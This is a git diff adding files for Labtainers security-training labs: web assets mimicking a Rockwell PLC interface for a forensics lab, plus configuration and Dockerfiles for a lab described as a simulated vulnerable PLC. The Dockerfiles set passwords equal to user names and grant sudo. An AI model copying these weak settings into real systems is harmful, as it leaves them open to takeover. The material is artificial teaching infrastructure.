diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services.html new file mode 100644 index 000000000..75ea3bb90 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services.html @@ -0,0 +1,102 @@ + + + + + + + + + + +
+ + + + + + + + + + + + +
Device IdentityNetwork ConfigurationDevice ServicesEmail Configuration
+ + + + + + + +

+ + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ServiceDescriptionCurrent StatusEnable
FTPCopy FilesRunning
SNMPStation ManagementRunning
SMTPEmail ClientRunning
CIPBridge EtherNet/IP to BackplaneRunning
CIPBridge Backplane to EtherNet/IPRunning
XML & ASPWeb Access to Control DataRunning

diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/services_files/services_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/config/about.txt new file mode 100644 index 000000000..55a164096 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/config/about.txt @@ -0,0 +1 @@ +Simulated example of a vulnerable Programmable Logic Controller system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/config/parameter.config new file mode 100644 index 000000000..57e8c10ea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Lab Designer Guide +# +FILE_ID : HASH_REPLACE : sys_management:plc.c : MY_FILE_ID : string_for_seed diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/config/start.config new file mode 100644 index 000000000..73c346127 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/config/start.config @@ -0,0 +1,60 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER sys_management + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED plc_mike_master_seed + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK management_lan + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +NETWORK plc_lan + MASK 172.26.0.0/24 + GATEWAY 172.26.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# + + +CONTAINER sys_management + # user name of user who interacts with the container. + USER ubuntu + TERMINALS 1 + management_lan 172.25.0.2 + +CONTAINER proxy + # user name of user who interacts with the container. + USER ubuntu + TERMINALS 1 + XTERM PROXY_LOG proxy_log.sh + plc_lan 172.26.0.2 + management_lan 172.25.0.3 + +CONTAINER plc + # user name of user who interacts with the container. + USER ubuntu + # + # The number of terminals defaults to 2 + # + TERMINALS -1 + XTERM Physical_World plc.sh + plc_lan 172.26.0.3 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/dockerfiles/Dockerfile.plc.plc.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/dockerfiles/Dockerfile.plc.plc.student new file mode 100644 index 000000000..6c3303ce1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/dockerfiles/Dockerfile.plc.plc.student @@ -0,0 +1,25 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/dockerfiles/Dockerfile.plc.proxy.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/dockerfiles/Dockerfile.plc.proxy.student new file mode 100644 index 000000000..6c3303ce1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/dockerfiles/Dockerfile.plc.proxy.student @@ -0,0 +1,25 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/dockerfiles/Dockerfile.plc.sys_management.student 